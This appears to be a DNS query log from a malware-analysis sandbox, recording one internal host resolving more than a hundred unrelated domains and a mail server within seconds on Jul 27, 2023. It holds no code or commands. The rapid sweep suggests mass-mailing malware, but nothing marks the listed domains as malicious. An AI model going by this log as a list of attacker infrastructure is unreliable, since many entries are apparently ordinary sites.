Jul 27, 2023 21:54:03.884865046 CEST	8.8.8.8	192.168.2.4	0x102e	No error (0)	jsaps.com		49.212.235.59	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.931624889 CEST	8.8.8.8	192.168.2.4	0x7ed9	No error (0)	biurohera.pl		79.96.161.192	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.931624889 CEST	8.8.8.8	192.168.2.4	0x7ed9	No error (0)	biurohera.pl		54.36.175.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.098053932 CEST	8.8.8.8	192.168.2.4	0xd2f	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.098175049 CEST	8.8.8.8	192.168.2.4	0x5a6f	No error (0)	rappich.de		89.31.143.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.197711945 CEST	8.8.8.8	192.168.2.4	0xbf60	No error (0)	paraski.org		94.130.164.242	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.227514982 CEST	8.8.8.8	192.168.2.4	0x4b38	No error (0)	webways.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.227514982 CEST	8.8.8.8	192.168.2.4	0x4b38	No error (0)	webways.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.356172085 CEST	8.8.8.8	192.168.2.4	0x645	No error (0)	sledsport.ru		185.22.232.175	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.438342094 CEST	8.8.8.8	192.168.2.4	0xb092	No error (0)	rtcasey.com		69.195.90.46	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.493869066 CEST	8.8.8.8	192.168.2.4	0x4605	No error (0)	mikihan.com		153.126.211.112	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.534287930 CEST	8.8.8.8	192.168.2.4	0x59bf	No error (0)	cbras.com		54.39.198.18	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.575500011 CEST	8.8.8.8	192.168.2.4	0x586e	No error (0)	portoccd.org		51.89.6.56	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.582593918 CEST	8.8.8.8	192.168.2.4	0xff9c	No error (0)	lyto.net		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.582593918 CEST	8.8.8.8	192.168.2.4	0xff9c	No error (0)	lyto.net		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.658642054 CEST	8.8.8.8	192.168.2.4	0x4df8	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:05.000149012 CEST	8.8.8.8	192.168.2.4	0x8037	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:05.129817963 CEST	8.8.8.8	192.168.2.4	0x6331	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:05.653141975 CEST	8.8.8.8	192.168.2.4	0xeef5	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:05.820214033 CEST	8.8.8.8	192.168.2.4	0xf431	No error (0)	at-shun.com		210.140.73.39	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:06.023689032 CEST	8.8.8.8	192.168.2.4	0xd69c	No error (0)	vivastay.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:06.023689032 CEST	8.8.8.8	192.168.2.4	0xd69c	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:06.023689032 CEST	8.8.8.8	192.168.2.4	0xd69c	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:06.023689032 CEST	8.8.8.8	192.168.2.4	0xd69c	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:06.041548967 CEST	8.8.8.8	192.168.2.4	0x8037	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:06.138789892 CEST	8.8.8.8	192.168.2.4	0x78af	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:06.689078093 CEST	8.8.8.8	192.168.2.4	0xeef5	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:06.789421082 CEST	8.8.8.8	192.168.2.4	0x5cd3	No error (0)	cutchie.com		199.59.243.224	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:06.858370066 CEST	8.8.8.8	192.168.2.4	0xb0bc	No error (0)	koz1.net		72.251.233.245	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:06.959686041 CEST	8.8.8.8	192.168.2.4	0x5eb7	Name error (3)	ascc.org.au	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:06.964456081 CEST	8.8.8.8	192.168.2.4	0x4a49	Name error (3)	pcoyuncu.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.013238907 CEST	8.8.8.8	192.168.2.4	0x663b	No error (0)	x96.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.013238907 CEST	8.8.8.8	192.168.2.4	0x663b	No error (0)	x96.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.013766050 CEST	8.8.8.8	192.168.2.4	0x364b	No error (0)	ifesnet.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.013766050 CEST	8.8.8.8	192.168.2.4	0x364b	No error (0)	ifesnet.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.024204969 CEST	8.8.8.8	192.168.2.4	0x8698	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.027801037 CEST	8.8.8.8	192.168.2.4	0x639d	No error (0)	hamaker.net		34.102.136.180	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.032207966 CEST	8.8.8.8	192.168.2.4	0x271d	No error (0)	calvinly.com		216.239.32.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.032207966 CEST	8.8.8.8	192.168.2.4	0x271d	No error (0)	calvinly.com		216.239.34.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.032207966 CEST	8.8.8.8	192.168.2.4	0x271d	No error (0)	calvinly.com		216.239.36.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.032207966 CEST	8.8.8.8	192.168.2.4	0x271d	No error (0)	calvinly.com		216.239.38.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.062467098 CEST	8.8.8.8	192.168.2.4	0xf6c0	No error (0)	camamat.com		104.21.235.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.062467098 CEST	8.8.8.8	192.168.2.4	0xf6c0	No error (0)	camamat.com		104.21.235.31	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.102480888 CEST	8.8.8.8	192.168.2.4	0xb1	No error (0)	smtp.live.com	a-0010.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:07.105334044 CEST	8.8.8.8	192.168.2.4	0x8037	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.183388948 CEST	8.8.8.8	192.168.2.4	0x7800	No error (0)	sledsport.ru		185.22.232.175	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.265129089 CEST	8.8.8.8	192.168.2.4	0x532c	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.367518902 CEST	8.8.8.8	192.168.2.4	0x46b1	No error (0)	aluminox.es		37.59.243.164	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.368031979 CEST	8.8.8.8	192.168.2.4	0x6891	No error (0)	www.photo4b.com		195.78.66.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.378953934 CEST	8.8.8.8	192.168.2.4	0xf58d	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.416989088 CEST	8.8.8.8	192.168.2.4	0x5145	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.479720116 CEST	8.8.8.8	192.168.2.4	0xd63c	No error (0)	umcor.am		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.479720116 CEST	8.8.8.8	192.168.2.4	0xd63c	No error (0)	umcor.am		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.499547005 CEST	8.8.8.8	192.168.2.4	0x4ec6	No error (0)	umcor.am		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.499547005 CEST	8.8.8.8	192.168.2.4	0x4ec6	No error (0)	umcor.am		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.509227991 CEST	8.8.8.8	192.168.2.4	0x79d9	No error (0)	akdeniz.nl		109.71.54.22	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.527251959 CEST	8.8.8.8	192.168.2.4	0x63fc	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:07.527251959 CEST	8.8.8.8	192.168.2.4	0x63fc	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.542716026 CEST	8.8.8.8	192.168.2.4	0x3f30	No error (0)	canasil.com		172.67.68.180	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.542716026 CEST	8.8.8.8	192.168.2.4	0x3f30	No error (0)	canasil.com		104.26.3.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.542716026 CEST	8.8.8.8	192.168.2.4	0x3f30	No error (0)	canasil.com		104.26.2.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.556418896 CEST	8.8.8.8	192.168.2.4	0xd9af	No error (0)	gcss.com		15.197.204.56	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.556418896 CEST	8.8.8.8	192.168.2.4	0xd9af	No error (0)	gcss.com		3.33.243.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.587907076 CEST	8.8.8.8	192.168.2.4	0x2d7d	No error (0)	popbook.com		47.91.167.60	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.599551916 CEST	8.8.8.8	192.168.2.4	0x376e	No error (0)	shztm.ru		62.122.170.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.653165102 CEST	8.8.8.8	192.168.2.4	0x2851	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.710084915 CEST	8.8.8.8	192.168.2.4	0x6e08	No error (0)	vdoherty.com		91.216.241.100	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.714766026 CEST	8.8.8.8	192.168.2.4	0x413c	No error (0)	rkengg.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:07.714766026 CEST	8.8.8.8	192.168.2.4	0x413c	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:07.714766026 CEST	8.8.8.8	192.168.2.4	0x413c	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.714766026 CEST	8.8.8.8	192.168.2.4	0x413c	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.724416971 CEST	8.8.8.8	192.168.2.4	0xeef5	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.766798973 CEST	8.8.8.8	192.168.2.4	0xb24d	No error (0)	lyto.net		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.766798973 CEST	8.8.8.8	192.168.2.4	0xb24d	No error (0)	lyto.net		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.801162004 CEST	8.8.8.8	192.168.2.4	0xd02b	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.837100029 CEST	8.8.8.8	192.168.2.4	0xdbcc	No error (0)	gphpedit.org		127.0.0.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.908891916 CEST	8.8.8.8	192.168.2.4	0x2634	No error (0)	sgk.home.pl		89.161.136.188	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.958755016 CEST	8.8.8.8	192.168.2.4	0xf6ad	No error (0)	epc.com.au		103.4.16.43	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.964528084 CEST	8.8.8.8	192.168.2.4	0x6aab	No error (0)	ccrsi.org		198.209.253.30	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.022604942 CEST	8.8.8.8	192.168.2.4	0x5ae4	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.036124945 CEST	8.8.8.8	192.168.2.4	0xa5c6	No error (0)	paraski.org		94.130.164.242	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.066283941 CEST	8.8.8.8	192.168.2.4	0xe95f	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.074785948 CEST	8.8.8.8	192.168.2.4	0x9e56	No error (0)	komie.com		59.106.13.181	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.180413008 CEST	8.8.8.8	192.168.2.4	0x8a2f	No error (0)	adventist.ro		49.12.155.123	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.220385075 CEST	8.8.8.8	192.168.2.4	0x96f8	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.280531883 CEST	8.8.8.8	192.168.2.4	0x241c	No error (0)	nblewis.com		35.168.185.204	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.280531883 CEST	8.8.8.8	192.168.2.4	0x241c	No error (0)	nblewis.com		35.169.15.168	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.280531883 CEST	8.8.8.8	192.168.2.4	0x241c	No error (0)	nblewis.com		52.0.29.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.423887968 CEST	8.8.8.8	192.168.2.4	0x341	No error (0)	anduran.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:08.423887968 CEST	8.8.8.8	192.168.2.4	0x341	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:08.423887968 CEST	8.8.8.8	192.168.2.4	0x341	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.423887968 CEST	8.8.8.8	192.168.2.4	0x341	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.425333977 CEST	8.8.8.8	192.168.2.4	0x96f3	No error (0)	ikulani.com		157.7.107.88	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.555027008 CEST	8.8.8.8	192.168.2.4	0xbc12	No error (0)	canasil.com		104.26.3.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.555027008 CEST	8.8.8.8	192.168.2.4	0xbc12	No error (0)	canasil.com		172.67.68.180	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.555027008 CEST	8.8.8.8	192.168.2.4	0xbc12	No error (0)	canasil.com		104.26.2.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.575975895 CEST	8.8.8.8	192.168.2.4	0x3e72	No error (0)	awal.ws		127.0.0.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.641103983 CEST	8.8.8.8	192.168.2.4	0x74ec	No error (0)	notis.ru		185.178.208.141	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.683916092 CEST	8.8.8.8	192.168.2.4	0x50f0	No error (0)	ssm.ch		93.189.66.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.816235065 CEST	8.8.8.8	192.168.2.4	0x4971	No error (0)	jnf.at		136.243.147.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.819955111 CEST	8.8.8.8	192.168.2.4	0x3fc9	No error (0)	rappich.de		89.31.143.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.938489914 CEST	8.8.8.8	192.168.2.4	0x755e	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.953531981 CEST	8.8.8.8	192.168.2.4	0xaa70	No error (0)	78san.com		133.242.15.119	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.084645987 CEST	8.8.8.8	192.168.2.4	0x7942	No error (0)	oozkranj.com		212.44.102.57	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.199377060 CEST	8.8.8.8	192.168.2.4	0x8645	No error (0)	sledsport.ru		185.22.232.175	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.201462030 CEST	8.8.8.8	192.168.2.4	0x8037	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.214714050 CEST	8.8.8.8	192.168.2.4	0x6998	No error (0)	ntc.edu.au		192.124.249.15	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.352955103 CEST	8.8.8.8	192.168.2.4	0xfe20	No error (0)	cubodown.com		172.67.150.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.352955103 CEST	8.8.8.8	192.168.2.4	0xfe20	No error (0)	cubodown.com		104.21.30.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.368412018 CEST	8.8.8.8	192.168.2.4	0xda39	No error (0)	hchc.org		34.224.10.110	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.368412018 CEST	8.8.8.8	192.168.2.4	0xda39	No error (0)	hchc.org		52.11.37.152	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.369332075 CEST	8.8.8.8	192.168.2.4	0x3c74	No error (0)	from30ty.com		157.7.231.224	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.373744011 CEST	8.8.8.8	192.168.2.4	0x40d4	No error (0)	www.photo4b.com		195.78.66.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.383951902 CEST	8.8.8.8	192.168.2.4	0x96f8	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.394963026 CEST	8.8.8.8	192.168.2.4	0x6bce	No error (0)	btsi.com.ph		69.46.30.77	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.411930084 CEST	8.8.8.8	192.168.2.4	0x81fe	No error (0)	dspears.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:09.411930084 CEST	8.8.8.8	192.168.2.4	0x81fe	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:09.411930084 CEST	8.8.8.8	192.168.2.4	0x81fe	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.411930084 CEST	8.8.8.8	192.168.2.4	0x81fe	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.499751091 CEST	8.8.8.8	192.168.2.4	0xb74	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.526427984 CEST	8.8.8.8	192.168.2.4	0x7299	No error (0)	redgiga.com		172.67.186.153	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.526427984 CEST	8.8.8.8	192.168.2.4	0x7299	No error (0)	redgiga.com		104.21.76.38	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.763593912 CEST	8.8.8.8	192.168.2.4	0xa0de	No error (0)	bd-style.com		103.112.69.92	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.848251104 CEST	8.8.8.8	192.168.2.4	0xd811	No error (0)	fundeo.com		104.24.161.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.848251104 CEST	8.8.8.8	192.168.2.4	0xd811	No error (0)	fundeo.com		172.67.97.62	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.848251104 CEST	8.8.8.8	192.168.2.4	0xd811	No error (0)	fundeo.com		104.24.160.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.927707911 CEST	8.8.8.8	192.168.2.4	0xeef5	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.965811968 CEST	8.8.8.8	192.168.2.4	0x2c66	No error (0)	aiolos-sa.gr		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.965811968 CEST	8.8.8.8	192.168.2.4	0x2c66	No error (0)	aiolos-sa.gr		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.024725914 CEST	8.8.8.8	192.168.2.4	0x4b1b	No error (0)	portoccd.org		51.89.6.56	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.072416067 CEST	8.8.8.8	192.168.2.4	0xa3f8	No error (0)	btsi.com.ph		69.46.30.77	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.360332012 CEST	8.8.8.8	192.168.2.4	0x9df	No error (0)	midap.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.360332012 CEST	8.8.8.8	192.168.2.4	0x9df	No error (0)	midap.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.360332012 CEST	8.8.8.8	192.168.2.4	0x9df	No error (0)	midap.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.360332012 CEST	8.8.8.8	192.168.2.4	0x9df	No error (0)	midap.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.423537970 CEST	8.8.8.8	192.168.2.4	0x45e5	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.509085894 CEST	8.8.8.8	192.168.2.4	0x96f8	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.553744078 CEST	8.8.8.8	192.168.2.4	0x889e	No error (0)	refintl.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.553744078 CEST	8.8.8.8	192.168.2.4	0x889e	No error (0)	refintl.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.553744078 CEST	8.8.8.8	192.168.2.4	0x889e	No error (0)	refintl.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.553744078 CEST	8.8.8.8	192.168.2.4	0x889e	No error (0)	refintl.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.557620049 CEST	8.8.8.8	192.168.2.4	0xa026	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.617659092 CEST	8.8.8.8	192.168.2.4	0xe7ad	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.620795965 CEST	8.8.8.8	192.168.2.4	0x6b42	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.950156927 CEST	8.8.8.8	192.168.2.4	0x96b9	No error (0)	banvari.com		23.227.38.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.981839895 CEST	8.8.8.8	192.168.2.4	0x7acf	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.006699085 CEST	8.8.8.8	192.168.2.4	0x30ba	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.012845993 CEST	8.8.8.8	192.168.2.4	0xdbb	No error (0)	aoinko.net		157.7.107.38	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.101772070 CEST	8.8.8.8	192.168.2.4	0xcce7	No error (0)	thiessen.net		62.75.251.116	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.109601974 CEST	8.8.8.8	192.168.2.4	0xff9d	No error (0)	plaske.ua		5.181.161.11	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.187356949 CEST	8.8.8.8	192.168.2.4	0xaf5	No error (0)	skgm.ru		91.201.52.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.402585983 CEST	8.8.8.8	192.168.2.4	0xa229	No error (0)	lpver.com		92.204.129.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.413825035 CEST	8.8.8.8	192.168.2.4	0xae11	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.422024965 CEST	8.8.8.8	192.168.2.4	0xdcec	No error (0)	plaske.ua		5.181.161.11	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.646086931 CEST	8.8.8.8	192.168.2.4	0xd687	No error (0)	umcor.am		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.646086931 CEST	8.8.8.8	192.168.2.4	0xd687	No error (0)	umcor.am		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.728581905 CEST	8.8.8.8	192.168.2.4	0x7fe3	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.763149977 CEST	8.8.8.8	192.168.2.4	0x402a	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.816992044 CEST	8.8.8.8	192.168.2.4	0xbbbd	No error (0)	koz1.net		72.251.233.245	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.884007931 CEST	8.8.8.8	192.168.2.4	0xeb5f	No error (0)	slower.it		127.0.0.11	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.884383917 CEST	8.8.8.8	192.168.2.4	0x8759	No error (0)	dog-jog.net		153.122.24.177	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.888972998 CEST	8.8.8.8	192.168.2.4	0x3978	No error (0)	nblewis.com		52.0.29.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.888972998 CEST	8.8.8.8	192.168.2.4	0x3978	No error (0)	nblewis.com		35.169.15.168	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.888972998 CEST	8.8.8.8	192.168.2.4	0x3978	No error (0)	nblewis.com		35.168.185.204	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.894880056 CEST	8.8.8.8	192.168.2.4	0x14e2	No error (0)	gbp-jp.com		208.80.123.104	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.894880056 CEST	8.8.8.8	192.168.2.4	0x14e2	No error (0)	gbp-jp.com		208.80.123.195	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.894880056 CEST	8.8.8.8	192.168.2.4	0x14e2	No error (0)	gbp-jp.com		208.80.122.2	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.894880056 CEST	8.8.8.8	192.168.2.4	0x14e2	No error (0)	gbp-jp.com		208.80.122.205	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.954710007 CEST	8.8.8.8	192.168.2.4	0x7402	No error (0)	dzm.cz		83.167.255.150	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.989350080 CEST	8.8.8.8	192.168.2.4	0x97c6	No error (0)	oaith.ca		192.124.249.12	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.992773056 CEST	8.8.8.8	192.168.2.4	0xec00	No error (0)	portoccd.org		51.89.6.56	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.017512083 CEST	8.8.8.8	192.168.2.4	0x2890	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
